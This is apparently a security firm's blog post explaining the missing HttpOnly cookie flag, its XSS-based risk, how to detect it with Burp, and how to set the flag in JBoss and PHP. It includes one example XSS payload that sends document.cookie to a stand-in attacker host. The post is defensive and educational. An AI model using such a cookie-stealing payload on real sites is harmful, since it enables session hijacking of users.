HttpOnly Not Set


One of the most common web application security findings we see during testing is the lack of the HttpOnly flag on session cookies. As web application pentesters, we love this finding because it is so easy to find and it assures us of at least one finding during testing. However, as security practitioners it leaves us scratching our head about why we see this finding so often when it is so easy to remediate and when with the right conditions, it can have a significant impact on a web application’s security.

Why a significant impact? Because the lack of this flag combined with an cross site scripting (XSS) vulnerability means an attacker can capture a session ID and impersonate a user in order to gain access to the application. HttpOnly is so important because it prevents client-side scripts such as JavaScript from accessing cookie values.  JavaScript does this by accessing the browser’s Document Object Model (DOM) and reading the value of document.cookie where the cookie is stored. At that point, a malicious script can send the value to a server controlled by the attacker by embedding the cookie value in the URL.

Here is an example of what an XSS attack that captures a vulnerable cookie might look like:

‘><script>location.href = ‘http://attacker.com/stolen.php?cookie=’+document.cookie;</script>

If a cookie lacks the HttpOnly flag, it will be sent in the URL request to the attacker’s site and be waiting for the attacker in the web server’s log file.  As long as the cookie is a session ID and is still active, the attacker has access to the application and it is game on. If the HttpOnly flag is set, the value of document.cookie will be blank.

It’s not like people are not aware of the HttpOnly cookie flag. HttpOnly is old school like us, having been around since 2002 when Microsoft developers introduced the concept for Internet Explorer 6.  As this was a browser-based standard, the HttpOnly flag is not something that was included in the earliest RFCs describing cookies and state management, including the original standard, RFC 2109. HttpOnly was officially introduced in RFC 6265, which is the modern day standard for state management.

Although browsers have the option of implementing HttpOnly, modern browsers have pretty much universally accepted the flag. You have to go back several years to find a version of a browser that didn’t handle the HTTPOnly flag. Lack of browser acceptance cannot be a reason to avoid implementing this cookie protection.

What does it look like when properly implemented? Very simply, the Set-Cookie response header contains the word “HttpOnly”. Once the browser sees this flag it knows to protect the cookie from client-side scripts.

HTTP/1.0 200 OK 

Set-Cookie: 1oiusrk3lhare; Expires=Wed, 13 Feb 2022 12:22:01 GMT; Secure; HttpOnly

How often do we see this finding?

A lot. This is probably one of the top 10 findings we have ever reported on. This is surprising because for two reasons. First, this is a simple remediation. It usually requires setting a parameter in a configuration file on the web server. It is hard to find a remediation that is easier than this.  Second, this fix has been around for ages. It is as old school as we are. One older study found HttpOnly about half the time on major websites. http://w2spconf.com/2010/papers/p25.pdf Although this number has likely improved, our experience shows that this is still a problem.

How do we find it during test?

It doesn’t get much easier than this. Fire up an instance of Burp proxy and inspect response headers that have cookies being set. By default, Burp will highlight this finding for you during passive scanning of application traffic. A typical screenshot for a report looks like this:

What is the likelihood of attack for an organization?  For cookies not protected by the HttpOnly flag, a successful attack requires the existence of an XSS vulnerability. Thus the likelihood of this vulnerability being exploited is closely related to the likelihood of an XSS attack. In general, cross-site scripting is obviously a popular and well-known attack that has been given prominence in the OWASP top 10 for a number of years.  Imperva, a leader in the web application firewall vendor, published a web application attack report in 2015 that highlighted XSS as the 6th most frequent attack in terms of number of incidents reported. The report also indicated that the number of XSS was on the rise, having increased from 2014 to 2015. As a vendor with a product that monitors traffic to web applications, they are in a good position to present authoritative data on the subject.

What is the impact?

Exploiting a lack of HttpOnly protection means that an attacker used a client-side script to capture a user’s session token. This means that the attacker gains access to the application with the same privileges as the user. Having the session ID is almost like having the user’s credentials except for a limited amount of time, at least until the session ID expires. An attacker may even be able to change the user’s password once they have access to the application, giving them permanent access to the account. Depending on the type of application and the sensitivity of the data, being able to impersonate a user’s account may have a serious impact on the organization

As a result of this likelihood and impact, we generally we recommend finding as a low or medium risk.

How do you remediate this finding? 

As mentioned above, remediation for this finding is simple. In fact, some frameworks such as .NET have HttpOnly turned on by default for session IDs. Generally, setting a parameter in the web server’s configuration file can set the flag in most cases.

Here is an example of setting the HttpOnly flag for Jboss by modifying the web.xml file:

<session-config>

        <session-timeout>60</session-timeout>

        <cookie-config>

            <http-only>true</http-only>

            <secure>true</secure>

        </cookie-config>

        <tracking-mode>COOKIE</tracking-mode>

    </session-config>

Or PHP in the php.ini file

session.cookie_httponly = 1

If that doesn’t work for you, most platforms allow for the flag to be set programmatically such as this example in PHP:

setcookie(name,value,expire,path,domain,secure,httponly);

Where HttpOnly is set to true

Still another option is to allow your web application firewall to do the work. This page is an example of how to set it on Sonicwall:

Old School Take

Here at AppSec we love HttpOnly Not Set as a finding. We get to report on it frequently and it doesn’t take us more than a minute or two to find it. Plus how many findings do we get to see on a daily basis that have been around as long as us? We wish more clients would fix this issue because it is really a great defense in depth option that doesn’t cost much to implement. You would think it would be a no-brainer. But then again, we don’t often see a lot of brains at work when it comes to security, something that keeps us gainfully employed.

To gain access to the HttpOnly Not Set finding and the complete database of professionally-written and client-ready application security findings, subscribe to the AppSec Findings Database.

References

OWASP https://www.owasp.org/index.php/HttpOnly

RFC 6265 https://tools.ietf.org/html/rfc6265

CWE-1004 https://cwe.mitre.org/data/definitions/1004.html